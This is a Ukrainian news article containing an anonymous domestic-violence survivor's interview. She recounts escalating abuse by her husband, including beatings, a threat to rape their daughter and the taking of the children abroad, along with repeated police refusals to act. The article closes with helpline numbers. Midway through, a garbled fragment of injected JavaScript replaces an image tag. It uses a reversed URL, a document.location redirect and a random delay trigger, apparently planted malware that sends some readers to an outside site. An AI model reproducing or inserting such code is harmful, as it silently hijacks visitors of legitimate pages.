Дисклеймер. Герой публікації – один із багатьох жертв сімейного насильства в нашій країні і бажає залишитися неназваним задля власної безпеки. З тексту прибрані деталі, що можуть розсекретити його. Особливе прохання – не намагатись проникнути у таємницю особи героя публікації.

Тетяна Зуйченко

Не зважаючи на те, що на дворі 21ше століття, а Україна – правова держава і йде у Європу, проблема насилля донині стоїть дуже гостро. Особливо неприємний «хронічний» його підвид – насилля у сім’ї. Його дуже складно виявити, адже навіть люди, які регулярно піддаються насильницьким діям, не хочуть «виносити сміття з дому», бояться, не мають достатньо можливостей або просто не знають, що робити. Чи навіть не задумуються над тим, що те, що вони відчувають – це насилля, і вони можуть звернутися по допомогу.
Спочатку треба розібратись у термінах. За Законом України, домашнє насильство – дії або бездіяльність фізичного, сексуального, психологічного або економічного характеру, що вчиняються в сім’ї чи в межах місця проживання або між родичами, або між колишнім чи теперішнім подружжям, або між іншими особами, які спільно проживають однією сім’єю, але не перебувають у родинних відносинах чи у шлюбі між собою. Звертаючись до офіційних даних, бачимо, що за рік більше 100 тисяч людей приходять у поліцію із заявою про насилля у сім’ї. Щодня в Україні фіксують близько 348 випадків, а близько 60% жінок страждають від домашнього насильства на постійній основі. Але за даними поліції та соціальних служб, звертаються по допомогу лише 10% постраждалих. Причинами стають страх за себе або за рідних, невпевненість у майбутньому та відсутність альтернативи.
Так каже нам офіційна статистика. Але є ще один вагомий фактор, який у ній не фігурує. Жертва регулярного насилля в сім’ї поділилася деякими подробицями і розповіла, як її життя виглядає зсередини.

Розкажіть, будь ласка, про життя, що було у вас до того, як ви зустрілись із вашим чоловіком.
Не було майже життя. Зараз я так думаю, тоді здавалось – все уже бачила, все знаю, розумна й досвідчена – куди там півсотлітнім дідусям. Це було на передостанньому курсі університету, у кінці дев’яностих. Тоді не було Інтернету, та й комп’ютери поки що були явищем незвичайним. Навчалась я не в рідному місті, жила спочатку в гуртожитку, потім з’їхала на квартиру з подружками. Я вчилась на психолога – завжди хотіла допомагати людям; ходила до церкви на свята й благодійні акції. В той раз це була благодійна програма по звертанню заблудших душ до Бога. Ми слали листівки у тюрми, писали листи, збирали допомогу. Я записалась і мені видали адресу чоловіка, всього на десять років за мене старшого, що сидів за крадіжку. Я почала йому писати листи. Звичайні паперові листи, зараз це здається майже нереальним. Спочатку він ігнорував мене, потім почав писати, щоб я відчепилась від нього, все більше у грубій формі. Так і познайомились. З часом ми все ж розговорились. Він розповідав про себе, що його підставили і він сидить ні за що. Цікавився моїм життям… Зараз це здається банальним і прозорим, але тоді я вірила кожному його слову. І закохалась. Як з’ясувалось, йому залишалось відсидіти менше року, і якось так співпало, що закінчення його терміну і мною чергового навчального року відбулось майже одночасно. Як зараз пам’ятаю, це здалося мені справжнім знаком долі, хоча треба сказати, що тоді знаком долі здалося б будь-що, не тільки те, що ми вперше зустрілись саме в перший день моїх канікул.

toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}domashnee-nasilie.jpg” alt=”” width=”1440″ height=”810″ />

Як в подальшому ви спілкувались? Не відчували нічого дивного?
Я була закоханою дурепою. Звичайно ж ні. Я душі не чаяла в цьому чоловікові, познайомила його з батьками і всіма друзями. Через півроку він запропонував мені одружитись. Батьки були проти, матері не подобався він і його історія, вона вважала його неприємним і підозрілим, під час першої зустрічі вони посварились і мати не хотіла його бачити. Забороняла мені з ним спілкуватись, тоді ми із нею теж посварились. Тато теж був проти, але я нічого не слухала і вийшла за нього заміж після закінчення університету. Ми повінчались у церкві, і тоді я була найщасливішою за все життя. На роботу не влаштовувалась, чоловік сказав, що сам буде забезпечувати мене. Він справді влаштувався на роботу, я народила сина, через рік – ще одного, і тільки тоді почались негаразди.

Чому ви не звернулись по допомогу одразу?
Та одразу все було нормально. Він казав, що любить мене, що у нас все буде добре, а батьки просто не хочуть мене відпускати від себе. Він змінювався поступово, коли я зрозуміла, що в небезпеці, було уже пізно.

То коли почались перші насторожуючі події?
Коли його звільнили, і він кілька місяців не міг знайти нову роботу. Він став злим, дратівливим, почав випивати, часто ввечері зривався на крик, але спочатку не було нічого такого. Потім він знову влаштувався на роботу і все знову стало нормально. Правда, пити не перестав, але у нього була важка фізична робота. Коли я піднімала цю тему, він пояснював, що просто хоче розслабитись, і я полишила цю тему.

Коли ж все перестало бути нормально?
Все знову почалось, коли я завагітніла і народила третю дитину, і ми почали отримувати грошову допомогу по багатодітності. Чоловік знову втратив роботу, і ми жили тільки на ці гроші. Так продовжувалось кілька місяців, і я вірила, що він ніяк не може знайти нормальну роботу. Але з часом грошей перестало вистачати, чоловік все частіше забирав їх і зникав з дому на весь день або на кілька днів. Коли я питала його, де він був, і просила знайти роботу, він зривався на мене і звинувачував у тому, що я сиджу вдома. Одного разу він зник з дому майже на тиждень, повернувся п’яним, з порогу вдарив мене, впав на диван і заснув. Зранку він плакав і вибачався. Пояснював, що в нього здають нерви, бо він не може знайти роботу і ми вимушені жити на подачки від держави, і запевняв, що це вже ніколи більше не повториться. І я знову повірила йому. На деякий час все затихло, а потім, повернувшись з магазину, я побачила, що зник чоловік, його речі і всі гроші. Я залишилась із трьома дітьми на руках і зовсім без нічого, тільки із домівкою. Якийсь час я сподівалась, що він повернеться, але чоловік не прийшов ні через тиждень, ні через два. Спочатку я плакала і не знала, що відповідати дітям. Через деякий час я влаштувалась на підроботку.
Чоловік повернувся через рік. Якщо б я знала, як саме він повернеться, ніколи б не мріяла про це, і одразу ж переїхала на інший кінець країни! Повернувшись з роботи одного вечора, я побачила на дивані його, п’яного і якогось дикого. Він нічого не пояснював, а на мої запитання і спробу влаштувати скандал наказав замовкнути, бо придушить. У нього були такі очі, що я зрозуміла – в нього вселився диявол. Я не насмілилась нічого сказати у відповідь. Іще півтора роки він жив з нами. Діти були щасливі, що тато повернувся, а я боялася за себе, за дітей і не могла зрозуміти, що мені робити. Я звільнилась з роботи, бо боялась залишати дітей вдома з чоловіком. Він постійно погрожував мені, відбирав гроші і бив, коли я не згоджувалась із ним. Одного разу, коли діти були у сусідки, він прийшов додому абсолютно в неадекваті і схопив мене і почав зривати одяг. Я виривалась і кричала, щоб він мене не чіпав, навіть схопила ніж, але він відібрав його і сказав, що якщо я не буду його слухатись, він знайде нашу дочку і зґвалтує її. Я не могла нічого зробити проти нього. Проплакала ніч і вирішила, що зранку піду в поліцію. Але виявилось, що зранку мій чоловік знову зник із всіма грошима. У наступний тиждень я трохи не з’їхала з глузду, думаючи, коли він повернеться і помираючи зі страху.

Чому ви не пішли в поліцію, як думали?
Я ходила, навіть кілька разів, але там відмовились відкривати справу, сказавши, що у них перезавантаження, а у мене немає ніяких доказів. У мене не було грошей на хабар, і навіть на переїзд.

Що було далі?
Чоловік повернувся через чотири місяці. Мені подзвонила його матір і сказала про це. Виявилось, він їздив на заробітки у сусідню країну і знайшов там нову жінку. Через два дні він знову з’явився у мене вдома і сказав, що забере дітей з собою. Я злякалась і почала кричати. Мене врятував син сусідки, він побачив нас через паркан і викинув мого чоловіка. Він закричав, що вб’є мене і втік. Я знову спробувала піти до поліції, але це нічого не дало.
Але тепер у вас був свідок і докази?
Так. Коли я сказала, що мій чоловік хоче мене вбити, мені відповіли «От коли вб’є, тоді і приходьте». А молода дівчина-поліцейська у коридорі пошепки сказала, що їх начальство не любить справи про насилля, і щоб я пошукала інших методів.

Що ви тоді вирішили?
Я хотіла позичити у знайомих грошей і переїхати, бо страшенно боялася і зрозуміла, що мені ніхто ніяк не допоможе. Але не встигла. Коли я повернулась додому, мене зустрів чоловік. У нього були ключі, тому він чекав мене в домі. Він вдарив мене по голові скляною пляшкою. Далі я нічого не пам’ятаю, прийшла в себе я вже під вечір із розбитою головою і в пустому домі. Я ледве не збожеволіла з відчаю і знову кинулась в поліцію. На цей раз вони відкрили справу на мого чоловіка і відстежили його пересування. Але було вже пізно – він виїхав за кордон і мені сказали, що більше нічого зробити не можуть. Єдине, що у мене було – обіцянка, що його арештують, як тільки він повернеться в Україну. Я була в шоці і не знала, що мені робити. У його матері вдалося дізнатися, де він живе в тій країні. Але у мене не було ні документів, ні грошей – нічого, щоб їхати туди. Довелося чекати майже місяць. Тільки тоді мені вдалося поїхати за дітьми. Коли я знайшла їх, виявилось, що чоловік їх переховує і не хоче віддавати. Мені знову довелось йти у поліцію. На щастя, там поліцейські були більш адекватні, і мені вдалося довести своє батьківство. Допомогло те, що мій чоловік був в розшуку вдома. Як тільки я змогла забрати дітей, я одразу сіла на поїзд і втекла додому. Діти були в істериці і в жахливому стані, кілька днів не відпускали мене від себе. Я також ледве дісталась додому, я була в шоці і налякана до півсмерті. А якби він щось зробив із дітьми? Чи підстеріг мене, як погрожував, коли дізнався, що я приїхала за дітьми?
За останні три роки мій чоловік не з’являвся і я майже не чула про нього. Я повідомила йому про заведену на нього справу, і, мабуть, він не хоче знову в тюрму.

Ви з того часу не переїхали. Сподіваєтесь на поліцію?
Ні, на поліцію я сподівалась перші два рази. До того ж, він може перетнути кордон нелегально, і тоді мало шансів, що його зможуть відловити раніше, ніж він добереться до нас. Але я не можу влаштуватись на роботу, бо втратила кваліфікацію. Тримаю зв’язок із його матір’ю і сподіваюсь, що, якщо він збереться знову в Україну, дізнаюсь вчасно і встигну щось вигадати.

Цей випадок не виключення з правил. Офіційні органи не завжди хочуть допомогти громадянам, що страждають від насилля. Часто на сторінках соцмереж чи в зверненнях до ЗМІ можна побачити скарги чи прохання хоч про якусь підтримку від людей, які потрапили в таку ж ситуацію і не змогли знайти допомогу в поліції. Як наслідок, в останні роки в Україні зросла кількість самосудів жінок над чоловіками-насильниками. Підлітки, намагаючись захиститись або захистити одного з батьків від другого, можуть вбити чи покалічити його – за це багато з них потрапляють у суд і у виховно-трудові колонії для неповнолітніх.
Але окрім офіційних органів є ще декілька місць, де вам допоможуть, якщо ви страждаєте від домашнього насилля. Це Національна гаряча лінія з попередження домашнього насильства: 0800500335, чи 116 123. Мобільні бригади соціально-психологічної допомоги в Запоріжжі: 063 335 81 62, 099 366 64 61. Також про допомогу можна попрохати в центрах безоплатної правової допомоги, службах із справ дітей, притулках для постраждалих від домашнього насилля і громадських організаціях.